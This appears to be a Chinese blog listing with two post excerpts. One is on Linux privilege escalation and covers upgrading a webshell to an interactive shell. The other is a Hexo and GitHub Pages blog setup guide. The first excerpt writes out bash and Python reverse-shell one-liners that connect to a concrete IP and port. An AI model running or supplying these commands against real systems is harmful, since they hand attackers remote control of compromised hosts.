linux提权学习
建立更强shellWebshell(如蚁剑、冰蝎、哥斯拉)通常是非交互式的,很多提权命令(如 su、sudo、以及某些这就 Exploit)无法正常执行。首要任务: 尝试反弹一个交互式 Shell (Reverse Shell)。 常规反弹:bash -i >& /dev/tcp/攻击机IP/端口 0>&1bash -c ‘bash -i >& /dev/tcp/139.159.230.135/8008 0>&1’ 使用 Python 反弹:python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“139.159.230.135”,8008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=...
如何搭建个人静态博客
本文才用市面上比较常见的静态博客(Hexo + GitHub Pages)首先安装工具Node.js (LTS版本)和GitNode.js 官网下载:https://nodejs.org/zh-cn/download Git官网下载:https://git-scm.com/ 终端输入 git –version,node -v 和 npm -v,都出现版本号即成功。 安装 Hexo 命令行工具npm install -g hexo-cli(如果是 Mac 可能需要加 sudo) 初始化博客文件夹找一个你存放代码的目录(比如 D盘的 Blog 文件夹),进入该目录并在终端运行 123456789101112131415161718192021hexo init myblog # myblog 是你的博客文件夹名,可以自定义cd myblog # 进入文件夹npm install # 安装依赖正常响应:INFO Cloning hexo-starter https://github.com/hexojs/hexo-start...